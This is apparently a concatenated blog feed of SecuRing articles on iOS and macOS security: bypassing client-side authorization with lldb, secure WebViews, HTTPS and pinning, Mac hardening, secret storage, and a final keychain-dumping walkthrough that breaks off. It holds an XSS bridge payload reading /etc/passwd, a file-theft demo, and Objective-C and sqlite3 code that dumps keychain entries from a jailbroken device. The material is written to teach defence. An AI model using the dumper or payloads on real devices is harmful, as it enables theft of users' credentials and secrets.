We present potential threats of performing local authorization on iOS. You will learn how to protect your resources against unauthorized access.

TL;DR

• All checks done on the device can be bypassed
• Move access control logic to the server
• If you support in-app purchases always verify receipt server-server

Context

As the “mobile-first” slogan became a truth, the market moved the crucial functionalities to the mobile applications. It is natural that complicated applications restrict access to information, data or features. This article shows three patterns that I commonly observe during iOS app pentests. They are all caused by overtrust in the devices and the client-side checks. As the devices shouldn’t be trusted, developers have to keep in mind that any client-side check can be bypassed.

Vulnerability 1: Managing users — Cross-role access control on iOS

The first common vulnerable pattern is improper verification if the currently logged user has a proper role to perform certain action. Consider the following scenario:

1. After the first startup, the user logs in.
2. The backend returns an OAuth token containing the role
3. The application verifies the token by checking the signature
4. If the validation succeeded, the app saves the user’s role in the user defaults
5. Based on that role application grants access to the proper views

The problem starts when the server doesn’t verify if the user should even have access to that view. The user sends a HTTP request without having an appropriate role. Since the server accepts that request, the attacker performed an action that shouldn’t have access to.

Proof of concept:

The analyzed application saves the role in the user defaults that was observed using Passionfruit:

The attacker attached lldb and overwritten the role value:

Now the Passionfruit shows:

Vulnerability 2: Locked features

Another example of a bad pattern is restricting features / access to resources that are already on the devices. Once, during pentests I analyzed a video streaming application that was restricting access to videos. If the user had bought access to the movie they could open it. I investigated how the validation mechanism works. As it turned out, the videos were downloaded on the device and then the access validation was performed. Let’s consider the following Swift code:

static func hasPremium() -> Bool 
{ 
if someLogic() { 
return true 
} 
return false 
}

The code contains a function checking if the user has a premium account. It returns a boolean accordingly. The easiest way to bypass that logic is to attach the lldb and change the return function.

So, let’s set a breakpoint on the hasPremium function.

Continue the execution of the application.

Then go right after the function and change the value of x0 register.

As you can see in the screenshot below, we were able to change the code execution flow and modify the returned value. Make a notice that we’ve done that in the application coded in Swift. I heard from developers many times that Swift is not Objective-C and cannot be easily manipulated. We’ve just confirmed where the truth lies.

Threats in In-app purchases on iOS

Purchases that users make in the application are the most obvious way to monetize the applications. Abusing the purchases in your application may directly harass your business, so I decided to write a subsection especially for that problem. Implementing a secure application with purchases has to start during the architecture creation process. If you implement your application incorrectly it may lead to bugs described in the previous subsections. You may say — “how many clients will be security experts being able to attach a debugger and modify the code execution flow?”. Rather not many. However, in most cases, the potential attackers don’t have to be security experts or even developers. There are universal tweaks available which every script kiddie can install. Take a look at the https://techinformerz.com/localiapstore/. Another scenario is that a “security expert” will patch your application and place it in the jailbreakers store. So, again, any script kiddie will be able to get your application with all the premium content.

On the screenshot below you can see the transaction process using Apple’s standard StoreKit API.

The user taps the buy button, the App Store’s alert is displayed, the user pays for the product and Apple sends you a receipt. It’s on your side now to validate if the receipt is valid and grant access to the bought resources. According to Apple’s documentation, the receipt contains purchase Information, certificates and signature. As you probably guess, if you do the receipt validation locally in your application you lost the battle. The only way to do it securely is to move the access logic to your server! So, the algorithm should be:

1. The user buys a product
2. The Apple’s receipt is delivered to the user’s device
3. The user’s device sends the receipt to your server along with the session identifier (You have to know who sent the receipt)
4. The server sends the receipt to Apple using this API.

Now your server knows if the user bought the product or not. The server should decide whether the access should be granted or not. Please remember that the attacker may change the HTTP responses that the server sends to your application. Make sure you have designed the application architecture well.

Summary

The purpose of this article was to warn you about the potential threats of performing local authorization. If you are interested in other aspects of mobile application security we highly recommend you our Guidelines on mobile application security — iOS edition

As you saw in this article, attackers can modify everything that is stored on their devices. Most of the protections can be bypassed even by the inexperienced person knowing a little bit of simple reverse engineering methodologies. If your business is to sell premium content via application, make sure you do that correctly. As there is usually no need to use sophisticated methods requiring more than installing one simple tweak, even script kiddies can harm your business. The conclusion is very straightforward — keep as much authorization logic as possible on your server.

If you have any questions about this article feel free to contact us.

Originally published at https://www.securing.pl on January 12, 2022.

Vulnerabilities and Threats in Local Authorization on iOS Devices — Securing was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

TL;DR

• Do not use UIWebView.
• Make sure your Info.plist doesn’t contain App Transport Security Exceptions.
• Follow the least privilege principle.
• Consider disabling JavaScript.
• Code JavaScript-ObjC/Swift bridges carefully.
• Follow good mobile application development practices -> see our Guidelines on mobile application security — iOS edition .

Context

Recently I had a chance to observe a lot of new WebView applications, so I decided to create this article. A few years ago, if someone wanted to create a multiplatform application it was almost necessary to create a different codebase on each platform. Then, the cross-platform frameworks entered the market that made universal coding easier. One way of universal coding is to use WebView. The idea was simple — create an application in web technologies (HTML, CSS, JS) and render it within the native application. So, WebView is just an embedded browser in your application. Such a technology introduced vulnerabilities characteristic to web applications to native applications. Since WebView can be treated as a browser it uses the same mechanisms that can be abused as well. As it turned out, the exploitation results can be even more harmful. What if the application wants to obtain some resources saved on your device like photos or contacts? Well, developers need to create JavaScript<->Objective-C/Swift bridges that can be exploited using simple Cross-Site Scripting vulnerability. In the next subsection, I will show you how to create secure WebView applications including the most common threats.

Deprecated UIWebView — major security flaw

This subsection could be shortened to “do not use UIWebViews”. The UIWebView is the old Apple’s API present in iOS since version 2.0, so since 2008. If you follow the history of the vulnerabilities you probably know that in 2008 most of the modern browser security features were not yet invented. Do not expect the API created released in 2008 to implement those security mechanisms either. The UIWebView was deprecated in iOS 12.0 and should no longer be used in your code. If your application still uses the UIWebView, the best recommendation I can give you is to rewrite it to WKWebView. Before you start doing the refactoring, I’d suggest reading the next subsection about WKWebViews as their implementation can be coded insecurely too.

But why do I not recommend using the UIWebView? If you need concrete arguments, you can find them below:

1. UIWebView doesn’t have a functionality that allows disabling JavaScript. So if your application doesn’t use JS and you want to follow the least privilege principle, you cannot switch it off.
2. There is no feature handling mixed content. You cannot verify if everything was loaded using HTTPS protocol. his functionality shouldn’t be a case, because you shouldn’t add any App Transport Security exceptions (exceptions that allow insecure HTTP connections).
3. UIWebView doesn’t implement the out-of-process rendering as WKWebView does. So, if attackers find a memory corruption vulnerability in the UIWebView they will be able to exploit it in the context of your application.
4. File access via file:// scheme is always turned on. What’s even worse is accessing files via that scheme doesn’t follow the Same Origin Policy mechanism. It means that if the attackers exploit a Cross-Site Scripting vulnerability in your WebView they can load files available from the application’s sandbox and then send them to their server.

As a good example of insecurity UIWebView I’ll show you a vulnerability I found in Apple’s Dictionary.app on macOS:

The Dictionary.app allows of course translation from language A to B. Apple wasn’t able to create all dictionaries, so you can create yourdictionary with for example an ethnic dialect. The translated words were then displayed in the UIWebView without any validation. I was wondering if there is a possibility to exploit the file:// handler and steal local files, so I created the following dictionary entry:

Then, I opened the Dictionary.app, launched netcat on 127.0.0.1:8000 and contents of the /etc/passwd were transferred:

I think you are now convinced that using UIWebView is strongly not recommended.

WKWebView on iOS devices

WKWebView is that API you should use to load web content in your application. The “WK” prefix comes from the WebKit, the browser engine. The WKWebView is a modern API applying all the modern web security mechanisms, it’s still maintained by Apple and gets updates. The good thing about WKWebView is that it does out-of-process rendering, so if the attackers find a memory corruption vulnerability in it, your application’s process is still isolated.

Let’s start from the Info.plist configuration. In the article about secure networking on iOS I wrote about App Transport Security exceptions. The recommendations apply also for the WKWebView. Make sure you do not allow unencrypted HTTP connections. The WKWebView can be treated as a web browser, so if the attacker can perform a Man-In-The-Middle attack, they can steal your cookies/authorization tokens, execute JavaScript in your app’s context and thus for example call JavaScript<->Objective-C/Swift bridges. You can verify if the content was loaded fully with encrypted connections with the following code:

import UIKit

import WebKit

class ViewController: UIViewController {

@IBOutlet weak var webContentView: UIView!

var configuration: WKWebViewConfiguration ?

var webView: WKWebView ?

override func loadWebView() {

self.configuration = WKWebViewConfiguration()

self.webView = WKWebView(frame: self.webContentView.bounds, configuration:configuration!)

self.webContentView.addSubview(self.webView!)

let url = URL(string: "https://securing.biz") !

let request = URLRequest(url: url)

self.webView!.load(request)

print("Has only secure content?: \(self.webView!.hasOnlySecureContent)")

}

}

Then, you need to somehow load the HTML content. There are two approaches: the first one loads HTML content from the application’s package (local) and the second is to load the HTML content from your website. Make sure you load content that you fully control. If you load JavaScript code from the external resources, you can verify it’s cryptographic hash with integrity attributes. For high-risk applications, it’s recommended to apply reverse engineering protections. In the WebView world, you can minify the JavaScript files or even obfuscate them.

Now, let’s talk about the hardening. The file:// scheme is always enabled in the WKWebView, but it cannot (by default) access files. That mechanism can be enabled, but please keep in mind the least privilege principle. If your WebView doesn’t necessarily have to access files don’t turn it on.

The opposite thing is a JavaScript interpreter that is turned on by default. If your website doesn’t use JS, it’s recommended (again — the least privilege principle) to turn it off. You can use the following code:

let webPreferences = WKPreferences() webPreferences.javaScriptEnabled = false self.configuration?.preferences = webPreferences

The last feature that I wanted to discuss in this article are bridges. The WKWebView allows calling native code from JavaScript. You now probably realize how harmful it could be if not properly coded. Two years ago I was pentesting an iOS application that used such bridges to get photos from the user’s photo library. As I found a Stored Cross-Site Scripting Vulnerability that allowed me to execute JavaScript code on every instance of that application, I was able to steal all the photos from users’ photo libraries and send them to my server. The native code is called via postMessage API.

Native code:

// first register the controller

self.configuration?.userContentController.add(self, name: "SystemAPI")

[...]

// and expose native methods

extension ViewController : WKScriptMessageHandler {

func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {

if message.name == "SystemAPI" {

guard let dictionary = message.body as? [String: AnyObject],

let command = dictionary["command"] as? String,

let parameter = dictionary["parameter"] as? String else {

return

}

switch command {

case "loadFile":

loadFile(path: parameter)

case "loadContact":

loadContact(name: parameter)

default:

print("Command not recognized")

}

}

}

}

JavaScript code:

<script> 
window.webkit.messageHandlers.SystemAPI.postMessage({ "command":"loadFile", "parameter":"/etc/passwd"});
</script>

The code example I pasted is of course not well-designed because it allows loading any file or any contact. When coding bridges make sure your methods are as limited as possible. So even if the attackers will somehow inject code to your WebView the attack surface will be tight. So, do not expose excessive methods, strictly validate the parameters and make them limited (in this case instead of loading file from path, you can load files by ID from the specified in the function directory). In order to additionally prevent Cross-Site Scripting vulnerabilities consider also implementing the Content Security Policy mechanism. Despite it’s only an additional layer of security it can stop the attackers by blocking XSS vulnerabilities.

Summary

Using WebViews in native applications may boost the development, as the same HTML/CSS/JS code can be used across all the platforms the application supports. That technology is indeed convenient but comes with new risks. In this article, I wanted to show you 2 APIs present in Apple’s environment. The old one — UIWebView is considered insecure and should no longer be used. WKWebView is the right API to implement WebViews. Unfortunately, using even the modern API may lead to vulnerabilities. Developers have to make sure that their code is not vulnerable to both web-related and native attacks. This article presented how to implement secure WebViews and how to limit the attack surface.

During the iOS application development process, it’s also critical to follow best practices. We’ve put up a handbook that compiles all of our iOS security knowledge into one place. You may go to it by clicking on the link below.

Feel free to reach me out. You can find me on Twitter on LinkedIn.

Originally published at https://www.securing.pl on October 7, 2021.

Secure implementation of WebView in iOS applications — Securing was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

TL;DR

• Stop using HTTP, use HTTPS.
• App Transport Security exceptions shouldn’t be set on production environments.
• If you use third party networking libraries, verify the secure connection.
• For high risk applications, use certificate pinning.
• Always follow good mobile application development practices -> see our Guidelines on mobile application security — iOS edition.

Context

Most applications on our mobile devices talk with a backend. Offline applications are rarely used and even if there is no need to login, there is usually a need to have at least analytics. We wish there was no need to say that — because networking seems to be pretty obvious — but it’s not uncommon that apps make insecure connections. During pentests, from time to time we observe applications that use plain-text HTTP communication to transmit user’s credentials. This article will show you from the very beginning how to implement secure networking on iOS and what should be avoided.

Forbidden HTTP communication on iOS

Using HTTP in your application means that all the data you send is not encrypted. In other words, any attacker in a privileged network position may retrieve the information your app has sent. It also means that if your app’s user connects to a public hotspot, any person will be able to sniff that traffic. HTTP is purely outdated, do not use it. Starting from iOS 9, developers who want to use HTTP have to set a proper App Transport Security exception. You will read more on that later. To present you a proof of concept, we have created a simple Swift application.

This application sends a supplied login and password to http://securing.biz. Let’s take a look at the code below:

import Foundation

let url = URL(string: "http://www.securing.biz") !func performLogin(login: String, password: String) - > Void {

let session = URLSession.shared

var request = URLRequest(url: url) request.httpMethod = "POST"

let parameters = "login=\(login)&password=\(password)"

request.httpBody = parameters.data(using: .utf8) let task = session.dataTask(with: request, completionHandler: {

data,

response,

error in

if let receivedData = data {

  print("\(receivedData)")

}

}) task.resume()

}

It uses a standard URLSession.shared singleton and sends a HTTP request. As we have mentioned earlier, this code will fail as we didn’t set the required exceptions. So, we opened the Info.plist file and added the following XML code:

<key>NSAppTransportSecurity</key>
 <dict>
  <key>NSExceptionDomains</key>
  <dict>
   <key>www.securing.biz</key>
   <dict>
    <key>NSExceptionAllowsInsecureHTTPLoads</key>
    <true/>
   </dict>
  </dict>
</dict>

The code is self-descriptive. It allows the app to initiate HTTP loads. You can read more about the exceptions in the official docs.

The Info.plist file is a good place to verify if the application conforms to best practices. Before deploying your application on production, search for App Transport Security exceptions. Returning to the application, we compiled it and installed it on the device. In order to sniff the traffic, we had to be in the privileged network position. The easiest way to do this on macOS is to open a personal hotspot in the Sharing options. So we did and connected the iPhone to our Wi-Fi. Then, we opened Wireshark and started sniffing the hotspot’s interface. After we supplied the login and password, we clicked the “Log in” button. In the Wireshark we observed the traffic.

As you can see, the credentials were sniffed. Please keep that in mind and forget about HTTP in production applications.

HTTPS communication — the correct way

This protocol provides encrypted communication. There are some traps on the server’s configuration, but we will not discuss it in this article. We will focus on iOS applications. Developers usually select third party networking libraries in HTTP communication. It is more convenient, but also creates new risks. AFNetworking, a popular library, allowed a Man-In-The-Middle attack in version 2.5.1 when the application didn’t use the certificate pinning. So, when you decide to use external networking sources, verify the networking attack scenarios in order to be sure you do not expose your customers to risk.

As the intention of this article was to be practical, we will do networking with one of the most popular Swift libraries — AFNetworking. If you have any questions about networking implementation with the use of standard Apple’s API, feel free to contact SecuRing.

Let’s replace the previously introduced performLogin function with a new one:

func performLoginWithAlamofire(login: String, password: String) - > Void {

struct Parameters: Encodable {

let login: String

let password: String

}

let parameters = Parameters(login: login, password: password) AF.request(url, method: .post, parameters: parameters, encoder: URLEncodedFormParameterEncoder.default).response {

response in print("ALAMOFIRE \(response)")

}

}

In the meanwhile, we opened BURP Suite, an HTTP(S) proxy and modified the proxy settings on our iPhone to point to the BURP’s IP and port. When we clicked the “Log in” button, nothing happened. However, the BURP showed an error message:

Now we confirmed that the application refused connection to our proxy server as the server was not able to provide a trusted SSL certificate for the securing.biz domain. But what if one of the Certificates Authorities gets compromised and the attacker is be able to create such a trusted SSL certificate? Or what if the attacker somehow installed a trusted SSL certificate on the victim’s device? Here comes the “certificate pinning” technique to prevent such a scenario.

Certificate Pinning on iOS devices

Certificate pinning is a technique that protects against connecting to your domain using SSL certificates other than your own. The mechanism can be implemented in several ways. The most popular are: pinning the whole certificate, server’s public key or pinning the cryptographic hash of the certificate. You can read more about certificate pinning in OWASP documentation.

The example below shows how we implemented certificates pinning in our sample application using the Alamofire:

import Alamofire

let url = URL(string: "https://securing.biz") !class NetworkManager {

static

let shared: NetworkManager = NetworkManager(url: url) let manager: Session init(url: URL) {

let configuration: URLSessionConfiguration = URLSessionConfiguration.default

let evaluators: [String: ServerTrustEvaluating] = ["securing.biz": PinnedCertificatesTrustEvaluator()]

let serverTrustManager: ServerTrustManager = ServerTrustManager(evaluators: evaluators) manager = Session(configuration: configuration, serverTrustManager: serverTrustManager)

}

}

func performLoginWithAlamofireAndCertificatePinning(login: String, password: String) - > Void {

struct Parameters: Encodable {

let login: String

let password: String

}

let parameters = Parameters(login: login, password: password) NetworkManager.shared.manager.request(url, method: .post, parameters: parameters, encoder: URLEncodedFormParameterEncoder.default).response {

response in print("ALAMOFIRE \(response)")

}

}

So, we implemented a NetworkManager singleton class that specifies the pinning policy to the whole SSL certificate we placed in the app’s resources (DER formatted). Alamofire will load that certificate automatically. Then, we created a shared manager Session object that is then used to perform the HTTP connection.

We installed the application on the device. In order to verify if the certificate pinning works correctly, we also installed a SSL certificate and added it to the trusted CA’s. After clicking the “Log in” button, the BURP suite again showed the error:

That behavior proves that the pinning worked as expected. Our connection is now immune to an attacker who will not present our SSL certificate.

Summary

Secure networking awareness is growing from year to year. More and more applications are compliant with the best practices. However, sometimes we observe applications that use unencrypted HTTP. Apple also tries to prevent such insecure practices with the App Transport Security Mechanism. As we showed in this article, it may be harmful to the users. The HTTP should no longer be used in production environments. Using HTTPS is a proper way, however it also comes with the risk of trusting invalid certificates. We always recommend testing the basic SSL substitution scenarios to be sure that an application is well written. Some of you may be also interested in implementing the certificate pinning mechanism for high risk applications. We hope the knowledge shared in this article will help you create secure iOS applications.

It is also important to adhere to best practices during the iOS application development process. We have prepared a guide that collects our iOS security experience in one place. You can access it below.

Also, feel free to reach me out. You can find me on Twitter on LinkedIn.

Originally published at https://www.securing.pl on June 8, 2021.

Key aspects of secure networking on iOS — Securing was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

Nowadays, Macs cannot be treated as a niche platform in companies. We meet Macs in all sized companies — from startups to big companies with thousands of employees. It’s not a big surprise that this fact was also noticed by attackers. During the security assessment, SecuRing team observed that usually Mac environments are in most cases quite immature and stand out from widely adopted Windows environments. This article will give you 5 tips that radically improve security of your MacOS infrastructure.

Tip #1: Enroll your Macs into MDM

We observed situations when even in big companies Macs were unmanaged. Users could perform actions whatever they wanted. At the same time, these computers were connected to internal companies’ resources. Such a situation shouldn’t ever take place. Make sure you can control all Macs in your infrastructure, enforce security policies, install and update new software, detect potential threats and monitor suspicious actions.

Tip #2: Allowlist executables

Modern MacOS versions have a lot of security improvements. Mechanisms like Notarization, Malware Removal Tool, and GateKeeper help users stay not infected. However, those features are not bulletproof. We have seen notarized malware that successfully bypassed all those enhancements. Implementing an allowlist of applications that can be launched can dramatically reduce the attack surface. Even if users somehow download a notarized by Apple malware, they won’t be able to launch it.

Tip #3: Implement multi-factor authentication

What about phishing campaigns that do not require any software to be installed? Stealing your users’ password that will allow accessing your Jira doesn’t sound good either. Research shows that hardware tokens (U2F) let Google keep out their over 85,000 employees not phished since 2017 (research ended in 2018). Implementing U2F is really rewarding. Consider requiring the U2F also during the users log in to their macOS machines.

Tip #4: Enforce security policies

We are all used to security policies enforced on Windows machines (Group Policies). Why don’t implement such requirements on Macs? A feature that you are looking for is called Profiles. It can help you enforce secure passwords, a maximum idle time before locking the screen, disallowing turning off the disk encryption, properly setting up the firewall, and many other useful things.

Tip #5: Make sure your Macs are up-to-date

This idea looks the most obvious, albeit it’s not. It’s widely known that updating machines is important and protects users from getting infected by malware or attackers that use known vulnerabilities. SecuRing team observed in macOS environments that users procrastinate with updates containing even critical security fixes. A solution for that may be enforcing the minimum OS version. If users don’t update their machines, they won’t be able to access the company’s resources.

To sum up

Keep in mind that every operating system in your organization must be treated with the same degree of trust. Attacks on macOS environments are no longer a legend. These 5 quick tips I gave you are a good start to improve your macOS infrastructure security. If you are interested in a bespoke analysis — feel free to reach out to me.

Originally published at https://www.securing.pl on April 28, 2021.

5 security tips for your macOS environment — Securing was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

TL;DR

• Whenever possible, avoid storing secrets on the device.
• Keychain is the right place to store your small app’s secrets.
• Entries saved in the Keychain can be additionally protected by setting proper accessibility and authentication flags.
• Watch out what you synchronize with iCloud.
• Files stored in the application container can also be additionally protected.
• Always follow good mobile application development practices -> see our Guidelines on mobile application security — iOS edition .

Background

During the last few years, while pentesting iOS apps, I observed a lot of bad secret storage patterns. From a security perspective there is a recommended approach, but, before you start saving a secret on the device we need to make up if that is even necessary. The general idea is not to store sensitive information if you don’t have to. If you made that decision there are typically 2 kinds of secrets: small ones and the big ones. Small secrets can be for example session tokens, encryption keys, certificates. Big secrets are databases, videos, pictures. Below, I will show you a secure approach to store such data.

A safe place for small secrets

iOS Keychain is considered the best place to store your application’s small secrets. The Keychain is encrypted using a combination of Device Key and user passcode (if set). Your application will talk to security in order to interact with the SQLite database containing the encrypted secrets. The Keychain facility gives us features that help with restricting access to the entries, applying additional authentication policies, synchronizing the entries with iCloud, or even giving access to our entries to other apps.

iOS gives us a SecItem* C API to manage the secrets. From my experience, developers usually don’t use it directly as this API is a bit complicated. Instead, devs use different wrappers. In the example, I will use https://github.com/kishikawakatsumi/KeychainAccess

Let’s take a look at the code snippet below:

import KeychainAccess 
func saveSecureKeychainItem() { 
let keychain = Keychain(service: "example-service") DispatchQueue.global().async {    
do {        
try keychain        
.accessibility(.whenPasscodeSetThisDeviceOnly, authenticationPolicy: .biometryCurrentSet)        
.synchronizable(false)        
.set("secure-entry-value", key: "secure-entry-key")    
} 
catch let error {        
// error handling    
} } }

I defined a service name and added the entry to the Keychain. I also set the secure attributes for that entry making sure that:

• It will be accessible only when the device is unlocked,
• It will be saved only when the user set a password,
• It will never leave the device,
• It will never be synchronized,
• It will require the user’s presence to be obtained,
• It will be invalidated if the user changes anything in the biometry settings (for example enrolling a new Face to FaceID).

By default, most of the frameworks / keychain wrappers will set minimal security constraints. However, I always recommend overriding the default values to be sure that the secret will be stored as expected. Implementation changes and thus the default settings change as well.

For the typical secrets, you won’t need that additional protections, such as requiring the user’s presence. The typical implementation looks as follows:

import KeychainAccess 
func saveLessSecureKeychainItem() { 
let keychain = Keychain(service: "example-service") DispatchQueue.global().async { 
do { 
try keychain 
.accessibility(.afterFirstUnlockThisDeviceOnly) .synchronizable(false) 
.set("secure-entry-value", key: "secure-entry-key") } 
catch let error { 
// error handling 
} } }

I strongly encourage you to read more about the available secure flags. Look at the links below:

👉 Restricting Keychain Item Accessibility
👉 Accessing Keychain Items with Face ID or Touch ID
👉 kSecAttrSynchronizable

Where to store big secrets?

Big secrets are stored within your application’s container as regular files. By default, all the files are encrypted and cannot be accessed before the first unlock. So, any application (after the first device unlock) that can escape the sandbox will be able to get your big secrets. This of course requires exploiting a vulnerability in iOS but this article is about hardening. Under certain circumstances applications that are run on jailbroken devices can also escape their containers without any additional vulnerabilities.

The mechanism that allows us to control the on-disk files encryption is called Data Protection API. If you want your file to be accessible only when the device is unlocked, it means you want to use the NSFileProtectionComplete flag. Below you can see the example:

do { 
try data.write(to: fileURL, options: .completeFileProtection) 
} catch let error { 
// error handling 
}

OK, but what if your threat model requires an additional layer of protection? If you don’t want to be your big secret accessible to the sandbox escaper? Well, let’s take a look at the example below:

import GRDB func openDB() -> DatabaseQueue? { 
do { 
var config = Configuration() 
config.prepareDatabase = { db in try 
db.usePassphrase(getDatabasePassphraseFromKeychain()) 
} 
let dbQueue = try DatabaseQueue(path: getDBPath(), configuration: config) return dbQueue 
} catch let error { 
// error handling 
} 
return nil 
}

I used GRDB to create an SQLite database. What’s special about this database is that it’s encrypted using SQLCipher. The passphrase is stored securely in the Keychain. Please keep in mind that there are 2 traps. The first one is about the passphrase storage — do not hardcode it in your code! The second trap is managing the passphrase in-memory lifetime. As you can see in the example above, I obtain the secret in the closure to create the Configuration() that is then used to open the database. The passphrase is not stored in the memory longer than necessary.

Summary

Do not store secrets on the device if you do not necessarily have to. That’s the sentence I want to repeat once again in the summary. My iOS apps pentesting experience shows that secrets are often stored insecurely. I saw them in Info.plist files or even hardcoded. In this article I wanted to show you how to properly store secrets that have to be on the device. Use Keychain with proper security flags in order to store small secrets. Consider additionally encrypting big secrets with the properly stored encryption key.

It is also always worth following good practices in the iOS application development process. In this topic, we especially recommend our own guide, where we have gathered our experience with ready-made solutions.

If you have any questions, feel free to use our contact form, or reach directly to me on Twitter on LinkedIn.

Originally published at https://www.securing.pl on April 15, 2021.

The secure way to store secrets on iOS devices — Securing was originally published in SecuRing on Medium, where people are continuing the conversation by highlighting and responding to this story.

What is the Keychain?

Keychain is essentially the safest place on your phone in terms of storing data. It is used by developers to store passwords, certificates, identities, or other keys in many forms. It is quickly adopted and many developers already understand how important it is to keep the most sensitive data in a place that was made exactly for this purpose. As good as it sounds, this doesn’t mean that using a keychain makes your application 100% safe. (Not so) Commonly made mistakes during the development process like using a deprecated API or not updating the app for a long time may lead to user data being exposed for future attacks. Oftentimes, developers tend to use incorrect attributes to secure their keys. Sometimes because of lack of experience, sometimes because “this way it was easier”.

Until the end of last year, we could say that getting access to the keychain is difficult and our data is mostly secure. Stealing data from someone’s keychain wasn’t trivial. Victims’ phones usually needed to be already jailbroken and best if the password for ssh wasn’t changed from *alpine*. In this article, we will show you how to access some Keychain entries in a different way.

What can go wrong?

Asking yourself “What can go wrong if I store data like this?” should be common practice while writing code. Sadly, in an environment where everything has to work until yesterday, no one has time for questioning if storing “Password1235” as plaintext with the attribute “Accessible always” is a good idea. No time for that. And then, there are consequences.

Checkm8 — bootrom exploit by @axi0mix revolutionized the Jailbreak scene, the world of tweak writers, but what’s the most important — had a huge impact on security.

Apple quickly realized what is happening around and had to re-think what and when is accessible to reduce the amount of vulnerable data. Keychain — the safest place for storing data became vulnerable as well. Accessing keys with the attribute “kSecAttrAcessibleAlways” “kSecAttrAcessibleAlwaysThisDeviceOnly” was an obvious choice for apple to restrict, so they quickly deprecated those options and added warnings in Xcode to, well… warn developers not to use those attributes. And so half a year later @m1nacriss released his m1napatcher that was simply getting rid of USB-Restricted mode and at the same time allowing not authorized users to jailbreak devices that previously needed to be unlocked. Now the very same functionality is included in checkra1n jailbreak, allowing the attacker to deploy ssh and any binary it wants to iDevice that is being in its hands. Here joins the main character of today’s episode — keychain dumper.

Keychain dumper is a simple, yet powerful application that allows you to extract keys from the iOS keychain. Accessing different parts of the keychain utilizes different requirements for dumping its information. From the point of the attacker — low hanging fruit as “kSecAttrAccessibleAlways” is exactly what we’re looking for. No password is needed, not even for the lock screen.

Our team decided to investigate how much data we can extract from over a hundred different applications including VPNs, password managers, and most popular applications in Canadian, Polish, and Japanese App Store. We looked for keys, tokens, passwords… basically everything that could be useful for an attacker. And the results were surprising.

AccessibleAlways keychain attribute was common even in popular applications.

Dumping always accessible entries

As we showed in the previous section, there are entries that can be dumped always, even from locked iPhone.

Before we can create and install the keychain dumper, we have to jailbreak our iDevice. For that purpose we used unc0ver jailbreak that works for iPhones up to X. All we need is just to turn the iPhone to recovery mode, connect the device to our mac and run the checkra1n. After completion, we can connect via SSH. Remember that the SSH server is bound to port 44 (not 22). Another interesting thing is that we have skipped the USB Restricted Mode. New versions of the checkra1n kill that so we do not have to worry about it:

So, when creating a Keychain dumper we had to make sure we would ask only for the always accessible entries. So, at first, we open the Keychain-2.db database and query for the vulnerable application groups:

select distinct agrp from genp where pdmn in ('dk', 'dku') union select distinct agrp from inet where pdmn in ('dk', 'dku') union select distinct agrp from cert where pdmn in ('dk', 'dku') union select distinct agrp from keys where pdmn in ('dk', 'dku');

Let’s analyze the SQL query:

We take data from the following tables:

• “genp” what stands for Generic Passwords,
• “inet” what stands for Internet Passwords,
• “cert” — Certificates,
• “Keys” — Cryptographic Keys

We are interested in only “dk” and “dku” kSecAttrAccessible values. They stand for:

• kSecAttrAccessibleAlways (“dk”)
• kSecAttrAccessibleAlwaysThisDeviceOnly (“dku”)

So, summing it up the query retrieves the application group keychain names that have entries that are accessible always — even before the first unlock. These names will be later used for getting the actual keychain data.

The next step is to create the Keychain query. We have used the following code:

-(NSMutableDictionary * ) prepareDict {
  NSMutableDictionary * query = [NSMutableDictionary new];
  [query setObject: (__bridge id) kCFBooleanTrue forKey: (__bridge id) kSecReturnAttributes];
  [query setObject: (__bridge id) kSecMatchLimitAll forKey: (__bridge id) kSecMatchLimit];
  [query setObject: (__bridge id) kCFBooleanTrue forKey: (__bridge id) kSecReturnData];
  return query;
} - (NSMutableDictionary * ) prepareDictWithkSecAccessibleAlways {
  NSMutableDictionary * query = [self prepareDict];
  [query setObject: (__bridge id) kSecAttrAccessibleAlways forKey: (__bridge id) kSecAttrAccessible];
  return query;
} - (NSMutableDictionary * ) prepareDictWithkSecAccessibleAlwaysThisDeviceOnly {
  NSMutableDictionary * query = [self prepareDict];
  [query setObject: (__bridge id) kSecAttrAccessibleAlwaysThisDeviceOnly forKey: (__bridge id) kSecAttrAccessible];
  return query;
} - (void) queryWithGroup: (NSString * ) group {
    NSArray * secItemClasses = [NSArray arrayWithObjects: (__bridge id) kSecClassGenericPassword, (__bridge id) kSecClassInternetPassword, (__bridge id) kSecClassCertificate, (__bridge id) kSecClassKey, (__bridge id) kSecClassIdentity, nil];
    NSArray * dictsWithDifferentAccessibilityLevels = @[[self prepareDictWithkSecAccessibleAlways], [self prepareDictWithkSecAccessibleAlwaysThisDeviceOnly]];
    for (NSMutableDictionary * dict in dictsWithDifferentAccessibilityLevels) {
      [dict setObject: group forKey: (__bridge id) kSecAttrAccessGroup];
      for (id secItemClass in secItemClasses) {
        [dict setObject: secItemClass forKey: (__bridge id) kSecClass];
        CFTypeRef result = NULL;
        if (SecItemCopyMatching((__bridge CFDictionaryRef) dict, & result) == noErr) {
          if (result != NULL) {
            NSArray * resultArray = (__bridge NSArray * ) result;
            for (NSDictionary * keychainEntryDict in resultArray) {
              [self printEntry: keychainEntryDict];
            }
            CFRelease(result);
          }
        }
      }
    }

Next, we have to build the dumper, and sign with the specific keychain entitlements. This part is tricky. Before iOS 13.5 we could have set the “keychain-access-groups” to “*” (wildcard) and query for all entries. Since iOS 13.5 the wildcard is no longer working. We can dump all the access groups by requesting following commands:

sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM genp" > ./groups.txt 
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM cert" >> ./groups.txt 
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM inet" >> ./groups.txt 
sqlite3 /var/Keychains/keychain-2.db "SELECT DISTINCT agrp FROM keys" >> ./groups.txt

Let’s take Viber’s access group as an example:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
 <dict>
  <key>keychain-access-groups</key>
  <array>
   <string>69V327AA4Z.group.viber.share.keychain</string>
  </array>
  <key>platform-application</key>
  <true/>
  <key>com.apple.private.security.no-container</key>
  <true/>
 </dict>
</plist>

